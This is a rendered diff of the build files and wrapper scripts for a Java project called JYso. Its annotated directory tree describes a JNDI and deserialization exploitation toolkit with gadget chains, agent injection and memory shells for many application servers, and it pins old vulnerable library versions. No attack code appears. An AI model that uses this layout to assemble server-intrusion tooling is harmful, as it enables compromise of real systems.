implementation 'org.jyaml:jyaml:1.3'
|
implementation 'org.jyaml:jyaml:1.3'
|
||||||
implementation 'com.esotericsoftware:kryo:4.0.0'
|
implementation 'com.esotericsoftware:kryo:4.0.0'
|
||||||
implementation 'commons-configuration:commons-configuration:1.10'
|
implementation 'commons-configuration:commons-configuration:1.10'
|
||||||
implementation 'com.thoughtworks.xstream:xstream:1.4.9'
|
implementation 'com.thoughtworks.xstream:xstream:1.4.9'
|
||||||
implementation 'org.apache.xbean:xbean-naming:4.5'
|
implementation 'org.apache.xbean:xbean-naming:4.5'
|
||||||
implementation 'com.rometools:rome:1.7.0'
|
implementation 'com.rometools:rome:1.7.0'
|
||||||
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
|
implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
|
||||||
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
|
implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26'
|
||||||
|
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
runtimeOnly libs.org.aspectj.aspectjweaver
|
runtimeOnly libs.org.aspectj.aspectjweaver
|
||||||
compileOnly libs.org.apache.tomcat.tomcat.websocket
|
compileOnly libs.org.apache.tomcat.tomcat.websocket
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
group = 'org.example'
|
group = 'org.example'
|
||||||
version = '1.3.7'
|
version = '1.3.7'
|
||||||
description = 'JYso'
|
description = 'JYso'
|
||||||
java.sourceCompatibility = JavaVersion.VERSION_1_8
|
java.sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
|
||||||
compileJava {
|
compileJava {
|
||||||
options.compilerArgs << '-XDignore.symbol.file'
|
options.compilerArgs << '-XDignore.symbol.file'
|
||||||
options.fork = true
|
options.fork = true
|
||||||
options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe'
|
options.forkOptions.executable = '/Users/qi4l/env/amazon-corretto-8.jdk/Contents/Home/bin/javac'
|
||||||
}
|
}
|
||||||
+71
-71
@@ -1,72 +1,72 @@
|
|||||||
├─.gradle Gradle构建配置文件
|
├─.gradle Gradle构建配置文件
|
||||||
│ ├─8.7
|
│ ├─8.7
|
||||||
│ │ ├─checksums
|
│ │ ├─checksums
|
||||||
│ │ ├─dependencies-accessors
|
│ │ ├─dependencies-accessors
|
||||||
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
|
│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71
|
||||||
│ │ │ ├─classes
|
│ │ │ ├─classes
|
||||||
│ │ │ │ └─org
|
│ │ │ │ └─org
|
||||||
│ │ │ │ └─gradle
|
│ │ │ │ └─gradle
|
||||||
│ │ │ │ └─accessors
|
│ │ │ │ └─accessors
|
||||||
│ │ │ │ └─dm
|
│ │ │ │ └─dm
|
||||||
│ │ │ └─sources
|
│ │ │ └─sources
|
||||||
│ │ │ └─org
|
│ │ │ └─org
|
||||||
│ │ │ └─gradle
|
│ │ │ └─gradle
|
||||||
│ │ │ └─accessors
|
│ │ │ └─accessors
|
||||||
│ │ │ └─dm
|
│ │ │ └─dm
|
||||||
│ │ ├─executionHistory
|
│ │ ├─executionHistory
|
||||||
│ │ ├─expanded
|
│ │ ├─expanded
|
||||||
│ │ ├─fileChanges
|
│ │ ├─fileChanges
|
||||||
│ │ ├─fileHashes
|
│ │ ├─fileHashes
|
||||||
│ │ └─vcsMetadata
|
│ │ └─vcsMetadata
|
||||||
│ ├─buildOutputCleanup
|
│ ├─buildOutputCleanup
|
||||||
│ └─vcs-1
|
│ └─vcs-1
|
||||||
├─.idea IDEA配置信息文件
|
├─.idea IDEA配置信息文件
|
||||||
│ ├─artifacts
|
│ ├─artifacts
|
||||||
│ ├─codeStyles
|
│ ├─codeStyles
|
||||||
│ ├─inspectionProfiles
|
│ ├─inspectionProfiles
|
||||||
│ └─libraries
|
│ └─libraries
|
||||||
├─docs 有关文档
|
├─docs 有关文档
|
||||||
├─gradle
|
├─gradle
|
||||||
│ └─wrapper
|
│ └─wrapper
|
||||||
├─libs 第三方jar
|
├─libs 第三方jar
|
||||||
└─src
|
└─src
|
||||||
├─main
|
├─main
|
||||||
│ └─java
|
│ └─java
|
||||||
│ └─com
|
│ └─com
|
||||||
│ └─qi4l
|
│ └─qi4l
|
||||||
│ └─jndi
|
│ └─jndi
|
||||||
│ ├─controllers JNDI路由逻辑
|
│ ├─controllers JNDI路由逻辑
|
||||||
│ │ └─utils
|
│ │ └─utils
|
||||||
│ ├─enumtypes
|
│ ├─enumtypes
|
||||||
│ ├─exceptions
|
│ ├─exceptions
|
||||||
│ ├─exploit -cp 模式下的漏洞逻辑
|
│ ├─exploit -cp 模式下的漏洞逻辑
|
||||||
│ ├─gadgets 反序列化链
|
│ ├─gadgets 反序列化链
|
||||||
│ │ ├─annotation
|
│ │ ├─annotation
|
||||||
│ │ ├─Config
|
│ │ ├─Config
|
||||||
│ │ └─utils
|
│ │ └─utils
|
||||||
│ │ ├─beanshell
|
│ │ ├─beanshell
|
||||||
│ │ ├─cc
|
│ │ ├─cc
|
||||||
│ │ ├─clojure
|
│ │ ├─clojure
|
||||||
│ │ ├─dirty
|
│ │ ├─dirty
|
||||||
│ │ ├─handle
|
│ │ ├─handle
|
||||||
│ │ ├─jdbc
|
│ │ ├─jdbc
|
||||||
│ │ ├─jre
|
│ │ ├─jre
|
||||||
│ │ └─utf8OverlongEncoding
|
│ │ └─utf8OverlongEncoding
|
||||||
│ └─template
|
│ └─template
|
||||||
│ ├─Agent Agent注入逻辑
|
│ ├─Agent Agent注入逻辑
|
||||||
│ │ └─utli
|
│ │ └─utli
|
||||||
│ ├─echo 回显类
|
│ ├─echo 回显类
|
||||||
│ └─memshell 内存shell逻辑
|
│ └─memshell 内存shell逻辑
|
||||||
│ ├─BypassNginxCDN
|
│ ├─BypassNginxCDN
|
||||||
│ ├─jboss
|
│ ├─jboss
|
||||||
│ ├─jetty
|
│ ├─jetty
|
||||||
│ ├─resin
|
│ ├─resin
|
||||||
│ ├─shell
|
│ ├─shell
|
||||||
│ ├─spring
|
│ ├─spring
|
||||||
│ ├─struts2
|
│ ├─struts2
|
||||||
│ ├─tomcat
|
│ ├─tomcat
|
||||||
│ ├─Tomcat_Spring_Jetty
|
│ ├─Tomcat_Spring_Jetty
|
||||||
│ ├─weblogic
|
│ ├─weblogic
|
||||||
│ └─Websphere
|
│ └─Websphere
|
||||||
└─test
|
└─test
|
||||||
└─java
|
└─java
|
||||||
@@ -1,10 +1,10 @@
|
|||||||
# This file was generated by the Gradle 'init' task.
|
# This file was generated by the Gradle 'init' task.
|
||||||
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
|
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
|
||||||
|
|
||||||
[versions]
|
[versions]
|
||||||
org-apache-tomcat-tomcat-websocket = "9.0.62"
|
org-apache-tomcat-tomcat-websocket = "9.0.62"
|
||||||
org-aspectj-aspectjweaver = "1.9.7"
|
org-aspectj-aspectjweaver = "1.9.7"
|
||||||
|
|
||||||
[libraries]
|
[libraries]
|
||||||
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
|
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
|
||||||
org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" }
|
org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" }
|
||||||
+2
-3
@@ -1,7 +1,6 @@
|
|||||||
|
#Thu Apr 23 23:23:32 CST 2026
|
||||||
distributionBase=GRADLE_USER_HOME
|
distributionBase=GRADLE_USER_HOME
|
||||||
distributionPath=wrapper/dists
|
distributionPath=wrapper/dists
|
||||||
distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip
|
distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.4-bin.zip
|
||||||
networkTimeout=10000
|
|
||||||
validateDistributionUrl=true
|
|
||||||
zipStoreBase=GRADLE_USER_HOME
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
zipStorePath=wrapper/dists
|
zipStorePath=wrapper/dists
|
||||||
|
|||||||
@@ -1,249 +1,249 @@
|
|||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
|
|
||||||
#
|
#
|
||||||
# Copyright © 2015-2021 the original authors.
|
# Copyright © 2015-2021 the original authors.
|
||||||
#
|
#
|
||||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
# you may not use this file except in compliance with the License.
|
# you may not use this file except in compliance with the License.
|
||||||
# You may obtain a copy of the License at
|
# You may obtain a copy of the License at
|
||||||
#
|
#
|
||||||
# https://www.apache.org/licenses/LICENSE-2.0
|
# https://www.apache.org/licenses/LICENSE-2.0
|
||||||
#
|
#
|
||||||
# Unless required by applicable law or agreed to in writing, software
|
# Unless required by applicable law or agreed to in writing, software
|
||||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
# See the License for the specific language governing permissions and
|
# See the License for the specific language governing permissions and
|
||||||
# limitations under the License.
|
# limitations under the License.
|
||||||
#
|
#
|
||||||
|
|
||||||
##############################################################################
|
##############################################################################
|
||||||
#
|
#
|
||||||
# Gradle start up script for POSIX generated by Gradle.
|
# Gradle start up script for POSIX generated by Gradle.
|
||||||
#
|
#
|
||||||
# Important for running:
|
# Important for running:
|
||||||
#
|
#
|
||||||
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
||||||
# noncompliant, but you have some other compliant shell such as ksh or
|
# noncompliant, but you have some other compliant shell such as ksh or
|
||||||
# bash, then to run this script, type that shell name before the whole
|
# bash, then to run this script, type that shell name before the whole
|
||||||
# command line, like:
|
# command line, like:
|
||||||
#
|
#
|
||||||
# ksh Gradle
|
# ksh Gradle
|
||||||
#
|
#
|
||||||
# Busybox and similar reduced shells will NOT work, because this script
|
# Busybox and similar reduced shells will NOT work, because this script
|
||||||
# requires all of these POSIX shell features:
|
# requires all of these POSIX shell features:
|
||||||
# * functions;
|
# * functions;
|
||||||
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
||||||
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
||||||
# * compound commands having a testable exit status, especially «case»;
|
# * compound commands having a testable exit status, especially «case»;
|
||||||
# * various built-in commands including «command», «set», and «ulimit».
|
# * various built-in commands including «command», «set», and «ulimit».
|
||||||
#
|
#
|
||||||
# Important for patching:
|
# Important for patching:
|
||||||
#
|
#
|
||||||
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
||||||
# by Bash, Ksh, etc; in particular arrays are avoided.
|
# by Bash, Ksh, etc; in particular arrays are avoided.
|
||||||
#
|
#
|
||||||
# The "traditional" practice of packing multiple parameters into a
|
# The "traditional" practice of packing multiple parameters into a
|
||||||
# space-separated string is a well documented source of bugs and security
|
# space-separated string is a well documented source of bugs and security
|
||||||
# problems, so this is (mostly) avoided, by progressively accumulating
|
# problems, so this is (mostly) avoided, by progressively accumulating
|
||||||
# options in "$@", and eventually passing that to Java.
|
# options in "$@", and eventually passing that to Java.
|
||||||
#
|
#
|
||||||
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
||||||
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
||||||
# see the in-line comments for details.
|
# see the in-line comments for details.
|
||||||
#
|
#
|
||||||
# There are tweaks for specific operating systems such as AIX, CygWin,
|
# There are tweaks for specific operating systems such as AIX, CygWin,
|
||||||
# Darwin, MinGW, and NonStop.
|
# Darwin, MinGW, and NonStop.
|
||||||
#
|
#
|
||||||
# (3) This script is generated from the Groovy template
|
# (3) This script is generated from the Groovy template
|
||||||
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
||||||
# within the Gradle project.
|
# within the Gradle project.
|
||||||
#
|
#
|
||||||
# You can find Gradle at https://github.com/gradle/gradle/.
|
# You can find Gradle at https://github.com/gradle/gradle/.
|
||||||
#
|
#
|
||||||
##############################################################################
|
##############################################################################
|
||||||
|
|
||||||
# Attempt to set APP_HOME
|
# Attempt to set APP_HOME
|
||||||
|
|
||||||
# Resolve links: $0 may be a link
|
# Resolve links: $0 may be a link
|
||||||
app_path=$0
|
app_path=$0
|
||||||
|
|
||||||
# Need this for daisy-chained symlinks.
|
# Need this for daisy-chained symlinks.
|
||||||
while
|
while
|
||||||
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
||||||
[ -h "$app_path" ]
|
[ -h "$app_path" ]
|
||||||
do
|
do
|
||||||
ls=$( ls -ld "$app_path" )
|
ls=$( ls -ld "$app_path" )
|
||||||
link=${ls#*' -> '}
|
link=${ls#*' -> '}
|
||||||
case $link in #(
|
case $link in #(
|
||||||
/*) app_path=$link ;; #(
|
/*) app_path=$link ;; #(
|
||||||
*) app_path=$APP_HOME$link ;;
|
*) app_path=$APP_HOME$link ;;
|
||||||
esac
|
esac
|
||||||
done
|
done
|
||||||
|
|
||||||
# This is normally unused
|
# This is normally unused
|
||||||
# shellcheck disable=SC2034
|
# shellcheck disable=SC2034
|
||||||
APP_BASE_NAME=${0##*/}
|
APP_BASE_NAME=${0##*/}
|
||||||
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
||||||
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
|
APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit
|
||||||
|
|
||||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||||
MAX_FD=maximum
|
MAX_FD=maximum
|
||||||
|
|
||||||
warn () {
|
warn () {
|
||||||
echo "$*"
|
echo "$*"
|
||||||
} >&2
|
} >&2
|
||||||
|
|
||||||
die () {
|
die () {
|
||||||
echo
|
echo
|
||||||
echo "$*"
|
echo "$*"
|
||||||
echo
|
echo
|
||||||
exit 1
|
exit 1
|
||||||
} >&2
|
} >&2
|
||||||
|
|
||||||
# OS specific support (must be 'true' or 'false').
|
# OS specific support (must be 'true' or 'false').
|
||||||
cygwin=false
|
cygwin=false
|
||||||
msys=false
|
msys=false
|
||||||
darwin=false
|
darwin=false
|
||||||
nonstop=false
|
nonstop=false
|
||||||
case "$( uname )" in #(
|
case "$( uname )" in #(
|
||||||
CYGWIN* ) cygwin=true ;; #(
|
CYGWIN* ) cygwin=true ;; #(
|
||||||
Darwin* ) darwin=true ;; #(
|
Darwin* ) darwin=true ;; #(
|
||||||
MSYS* | MINGW* ) msys=true ;; #(
|
MSYS* | MINGW* ) msys=true ;; #(
|
||||||
NONSTOP* ) nonstop=true ;;
|
NONSTOP* ) nonstop=true ;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||||
|
|
||||||
|
|
||||||
# Determine the Java command to use to start the JVM.
|
# Determine the Java command to use to start the JVM.
|
||||||
if [ -n "$JAVA_HOME" ] ; then
|
if [ -n "$JAVA_HOME" ] ; then
|
||||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||||
# IBM's JDK on AIX uses strange locations for the executables
|
# IBM's JDK on AIX uses strange locations for the executables
|
||||||
JAVACMD=$JAVA_HOME/jre/sh/java
|
JAVACMD=$JAVA_HOME/jre/sh/java
|
||||||
else
|
else
|
||||||
JAVACMD=$JAVA_HOME/bin/java
|
JAVACMD=$JAVA_HOME/bin/java
|
||||||
fi
|
fi
|
||||||
if [ ! -x "$JAVACMD" ] ; then
|
if [ ! -x "$JAVACMD" ] ; then
|
||||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||||
|
|
||||||
Please set the JAVA_HOME variable in your environment to match the
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
location of your Java installation."
|
location of your Java installation."
|
||||||
fi
|
fi
|
||||||
else
|
else
|
||||||
JAVACMD=java
|
JAVACMD=java
|
||||||
if ! command -v java >/dev/null 2>&1
|
if ! command -v java >/dev/null 2>&1
|
||||||
then
|
then
|
||||||
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
|
||||||
Please set the JAVA_HOME variable in your environment to match the
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
location of your Java installation."
|
location of your Java installation."
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Increase the maximum file descriptors if we can.
|
# Increase the maximum file descriptors if we can.
|
||||||
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
||||||
case $MAX_FD in #(
|
case $MAX_FD in #(
|
||||||
max*)
|
max*)
|
||||||
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
||||||
# shellcheck disable=SC2039,SC3045
|
# shellcheck disable=SC2039,SC3045
|
||||||
MAX_FD=$( ulimit -H -n ) ||
|
MAX_FD=$( ulimit -H -n ) ||
|
||||||
warn "Could not query maximum file descriptor limit"
|
warn "Could not query maximum file descriptor limit"
|
||||||
esac
|
esac
|
||||||
case $MAX_FD in #(
|
case $MAX_FD in #(
|
||||||
'' | soft) :;; #(
|
'' | soft) :;; #(
|
||||||
*)
|
*)
|
||||||
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
||||||
# shellcheck disable=SC2039,SC3045
|
# shellcheck disable=SC2039,SC3045
|
||||||
ulimit -n "$MAX_FD" ||
|
ulimit -n "$MAX_FD" ||
|
||||||
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
||||||
esac
|
esac
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Collect all arguments for the java command, stacking in reverse order:
|
# Collect all arguments for the java command, stacking in reverse order:
|
||||||
# * args from the command line
|
# * args from the command line
|
||||||
# * the main class name
|
# * the main class name
|
||||||
# * -classpath
|
# * -classpath
|
||||||
# * -D...appname settings
|
# * -D...appname settings
|
||||||
# * --module-path (only if needed)
|
# * --module-path (only if needed)
|
||||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
||||||
|
|
||||||
# For Cygwin or MSYS, switch paths to Windows format before running java
|
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||||
if "$cygwin" || "$msys" ; then
|
if "$cygwin" || "$msys" ; then
|
||||||
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
||||||
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
|
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
|
||||||
|
|
||||||
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
||||||
|
|
||||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||||
for arg do
|
for arg do
|
||||||
if
|
if
|
||||||
case $arg in #(
|
case $arg in #(
|
||||||
-*) false ;; # don't mess with options #(
|
-*) false ;; # don't mess with options #(
|
||||||
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
||||||
[ -e "$t" ] ;; #(
|
[ -e "$t" ] ;; #(
|
||||||
*) false ;;
|
*) false ;;
|
||||||
esac
|
esac
|
||||||
then
|
then
|
||||||
arg=$( cygpath --path --ignore --mixed "$arg" )
|
arg=$( cygpath --path --ignore --mixed "$arg" )
|
||||||
fi
|
fi
|
||||||
# Roll the args list around exactly as many times as the number of
|
# Roll the args list around exactly as many times as the number of
|
||||||
# args, so each arg winds up back in the position where it started, but
|
# args, so each arg winds up back in the position where it started, but
|
||||||
# possibly modified.
|
# possibly modified.
|
||||||
#
|
#
|
||||||
# NB: a `for` loop captures its iteration list before it begins, so
|
# NB: a `for` loop captures its iteration list before it begins, so
|
||||||
# changing the positional parameters here affects neither the number of
|
# changing the positional parameters here affects neither the number of
|
||||||
# iterations, nor the values presented in `arg`.
|
# iterations, nor the values presented in `arg`.
|
||||||
shift # remove old arg
|
shift # remove old arg
|
||||||
set -- "$@" "$arg" # push replacement arg
|
set -- "$@" "$arg" # push replacement arg
|
||||||
done
|
done
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
|
||||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||||
|
|
||||||
# Collect all arguments for the java command:
|
# Collect all arguments for the java command:
|
||||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||||
# and any embedded shellness will be escaped.
|
# and any embedded shellness will be escaped.
|
||||||
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||||
# treated as '${Hostname}' itself on the command line.
|
# treated as '${Hostname}' itself on the command line.
|
||||||
|
|
||||||
set -- \
|
set -- \
|
||||||
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||||
-classpath "$CLASSPATH" \
|
-classpath "$CLASSPATH" \
|
||||||
org.gradle.wrapper.GradleWrapperMain \
|
org.gradle.wrapper.GradleWrapperMain \
|
||||||
"$@"
|
"$@"
|
||||||
|
|
||||||
# Stop when "xargs" is not available.
|
# Stop when "xargs" is not available.
|
||||||
if ! command -v xargs >/dev/null 2>&1
|
if ! command -v xargs >/dev/null 2>&1
|
||||||
then
|
then
|
||||||
die "xargs is not available"
|
die "xargs is not available"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Use "xargs" to parse quoted args.
|
# Use "xargs" to parse quoted args.
|
||||||
#
|
#
|
||||||
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
||||||
#
|
#
|
||||||
# In Bash we could simply go:
|
# In Bash we could simply go:
|
||||||
#
|
#
|
||||||
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
||||||
# set -- "${ARGS[@]}" "$@"
|
# set -- "${ARGS[@]}" "$@"
|
||||||
#
|
#
|
||||||
# but POSIX shell has neither arrays nor command substitution, so instead we
|
# but POSIX shell has neither arrays nor command substitution, so instead we
|
||||||
# post-process each arg (as a line of input to sed) to backslash-escape any
|
# post-process each arg (as a line of input to sed) to backslash-escape any
|
||||||
# character that might be a shell metacharacter, then use eval to reverse
|
# character that might be a shell metacharacter, then use eval to reverse
|
||||||
# that process (while maintaining the separation between arguments), and wrap
|
# that process (while maintaining the separation between arguments), and wrap
|
||||||
# the whole thing up as a single "set" statement.
|
# the whole thing up as a single "set" statement.
|
||||||
#
|
#
|
||||||
# This will of course break if any of these variables contains a newline or
|
# This will of course break if any of these variables contains a newline or
|
||||||
# an unmatched quote.
|
# an unmatched quote.
|
||||||
#
|
#
|
||||||
|
|
||||||
eval "set -- $(
|
eval "set -- $(
|
||||||
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
||||||
xargs -n1 |
|
xargs -n1 |
|
||||||
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
||||||
tr '\n' ' '
|
tr '\n' ' '
|
||||||
)" '"$@"'
|
)" '"$@"'
|
||||||
|
|
||||||
exec "$JAVACMD" "$@"
|
exec "$JAVACMD" "$@"
|
||||||
|
|||||||
Vendored
+92
-92
@@ -1,92 +1,92 @@
|
|||||||
@rem
|
@rem
|
||||||
@rem Copyright 2015 the original author or authors.
|
@rem Copyright 2015 the original author or authors.
|
||||||
@rem
|
@rem
|
||||||
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
@rem you may not use this file except in compliance with the License.
|
@rem you may not use this file except in compliance with the License.
|
||||||
@rem You may obtain a copy of the License at
|
@rem You may obtain a copy of the License at
|
||||||
@rem
|
@rem
|
||||||
@rem https://www.apache.org/licenses/LICENSE-2.0
|
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||||
@rem
|
@rem
|
||||||
@rem Unless required by applicable law or agreed to in writing, software
|
@rem Unless required by applicable law or agreed to in writing, software
|
||||||
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
@rem See the License for the specific language governing permissions and
|
@rem See the License for the specific language governing permissions and
|
||||||
@rem limitations under the License.
|
@rem limitations under the License.
|
||||||
@rem
|
@rem
|
||||||
|
|
||||||
@if "%DEBUG%"=="" @echo off
|
@if "%DEBUG%"=="" @echo off
|
||||||
@rem ##########################################################################
|
@rem ##########################################################################
|
||||||
@rem
|
@rem
|
||||||
@rem Gradle startup script for Windows
|
@rem Gradle startup script for Windows
|
||||||
@rem
|
@rem
|
||||||
@rem ##########################################################################
|
@rem ##########################################################################
|
||||||
|
|
||||||
@rem Set local scope for the variables with windows NT shell
|
@rem Set local scope for the variables with windows NT shell
|
||||||
if "%OS%"=="Windows_NT" setlocal
|
if "%OS%"=="Windows_NT" setlocal
|
||||||
|
|
||||||
set DIRNAME=%~dp0
|
set DIRNAME=%~dp0
|
||||||
if "%DIRNAME%"=="" set DIRNAME=.
|
if "%DIRNAME%"=="" set DIRNAME=.
|
||||||
@rem This is normally unused
|
@rem This is normally unused
|
||||||
set APP_BASE_NAME=%~n0
|
set APP_BASE_NAME=%~n0
|
||||||
set APP_HOME=%DIRNAME%
|
set APP_HOME=%DIRNAME%
|
||||||
|
|
||||||
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||||
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||||
|
|
||||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||||
|
|
||||||
@rem Find java.exe
|
@rem Find java.exe
|
||||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||||
|
|
||||||
set JAVA_EXE=java.exe
|
set JAVA_EXE=java.exe
|
||||||
%JAVA_EXE% -version >NUL 2>&1
|
%JAVA_EXE% -version >NUL 2>&1
|
||||||
if %ERRORLEVEL% equ 0 goto execute
|
if %ERRORLEVEL% equ 0 goto execute
|
||||||
|
|
||||||
echo. 1>&2
|
echo. 1>&2
|
||||||
